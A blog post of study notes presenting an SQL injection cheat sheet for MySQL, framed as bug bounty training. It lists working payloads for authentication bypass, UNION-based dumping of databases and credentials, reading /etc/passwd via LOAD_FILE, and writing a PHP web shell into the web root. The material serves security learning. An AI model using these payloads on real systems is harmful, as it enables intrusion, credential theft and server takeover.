top of page
  • aldern00b

SQL Injection Cheat Sheet

Most of this was taken as study notes from the acadamy.hackthebox site under the Bug Bounty program, for more information I highly encourage you to enroll.


The first step is to see if we can get a response. Here's some payloads we can put into a field to see about syntax error returns.


Before we start please take note of common operations and their precedence:

  • Division (/), Multiplication (*), and Modulus (%)

  • Addition (+) and subtraction (-)

  • Comparison (=, >, <, <=, >=, !=, LIKE)

  • NOT (!)

  • AND (&&)

  • OR (||)

Payload

URL Encoded

'

%27

"

%22

#

%23

;

%3B

)

%29

Authentication Bypass (once we find a way to concatenate ours).


This would be a good one for an authentication bypass. The admin is the username you're passing (assuming this is a valid username), which we add a quote to and end the string being passed. Adding the or part we make the evaluation equal to true with 1=1. We leave off the last quote as it will be put in by the sql side. If we don't have a valid username, try this in the password field.

admin' or '1'='1

Commenting out (removing the rest of the statement after our insertion)


-- : two dashes followed by a space (space after the two dashes is mandatory)

# : hash mark. Using this is a browser URL will need to be encoded.

admin' -- 

Union Clause

This is use to combine results with the SQL statement we're working with. As an example this is a UNION statement from a SQL command prompt:

SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+

The union statement can only work on tables with the same amount of columns so above both ships and ports had to have the same amount of columns. Let's assume ships is only one column and ports is two, we would need to re-write that select statement like this (assuming we knew the column name was ship_name), filling that second field with "junk" to pad it out to the two columns ports has:

SELECT * FROM ports UNION SELECT ship_name, null FROM ships;

How do we know how many columns there are? We'll have to figure that out with either the UNION statement or the ORDER BY statement.


ORDER BY:

For example, we can start with order by 1, sort by the first column, and succeed, as the table must have at least one column. Then we will do order by 2 and then order by 3, etc until we reach a number that returns an error, or the page does not show any output, which means that this column number does not exist. The final successful column we successfully sorted by gives us the total number of columns we need to abide by.

' order by 1-- 
OR
' order by null-- 

UNION: Runs by the reverse rules. If you get an error - add a column until you don't get an error.

UNION select 1,2,3-- 
OR
UNION select null,null,null-- 

Using numbers for these will sometimes help show which data from which column is displaying on the page. For example if you get a page and it only shows a return of your numbers 2 and 3, then we know we shouldn't inject into 1 as it will not display on the page.


OK so we have columns, how do we know we can get data? We can try and print the database version into one of the fields that shows on the page. Here, we'll return the version of MySQL

UNION select 1,@@version,3,4-- 

Payload

When to Use

Expected Output

Wrong Output

SELECT @@version

When we have full query output

MySQL Version

Error

SELECT POW(1,1)

When we only have numeric output

1

error

SELECT SLEEP(5)

Blind/No Output

Delay page response for 5 seconds, returns 0

Will not delay

INFORMATION_SCHEMA

This is the juicy stuff. This is how we get database, table and column names. The information_schema has a bunch of parts to get us what we need.


SCHEMATA

This will give us the databases available. The column will always be SCHEMA_NAME

UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- 

If we just want to see which database we're currently using we can do this instead:

UNION select 1, database(),2,3-- 

TABLES

This will give us the tables in the database we want. There are a few columns we care about here: TABLE_SCHEMA and TABLE_NAME. Below we're asking for the table names and which database they belong to (TABLE_SCHEMA). Here we're specifying a database called 'dev'. This prevents a ton of results if there's a lot of tables.

UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- 

COLUMNS

This will give us the columns in the tables we're interested in. Below we're asking for the column names, table name and database from the table name we'll provide using the where clause ('credentials' in this case).

UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- 

DATA

Now that we have what we need we can put it all together and get that juicy data. Here we're selecting that username and password data from the credentials table we found in the dev database.

UNION select 1, username, password, 4 from dev.credentials-- 

READING FILES

Much like using union clauses, we'll read files with the same union statement. First we need to validate our user has rights. Using the same UNION injection we'll find out which user we're using:

UNION SELECT 1,user,3,4 from mysql.user-- 

We can then validate it has "file permission' with this

UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE user="[USERNAME]"-- 

If the output shows the file permission then we can start reading files like this

UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- 
or
UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- 

WRITING FILES

We need three things to write files. Also note, by default most DB's don't have write enabled:


1. User with FILE privilege enabled (See reading files above)

2. MySQL global secure_file_priv variable not enabled

UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- 

3. Write access to the location we want to write to on the back-end server


If you want to write a reverse shell you'll need to know the default web root location. The below writes "file written successfully!" as text inside a file we create called 'proof.txt'. Note if you include numbers in your 'junk' columns they will output too, best to use "" instead.

union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- 

Writing a PHP reverse shell:

union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- 

This can be verified by browsing to the /shell.php file and executing commands via the 0 parameter, with ?0=id in our URL. Try ls, cat and some other terminal tools.












3 views0 comments

Recent Posts

See All

Comments


bottom of page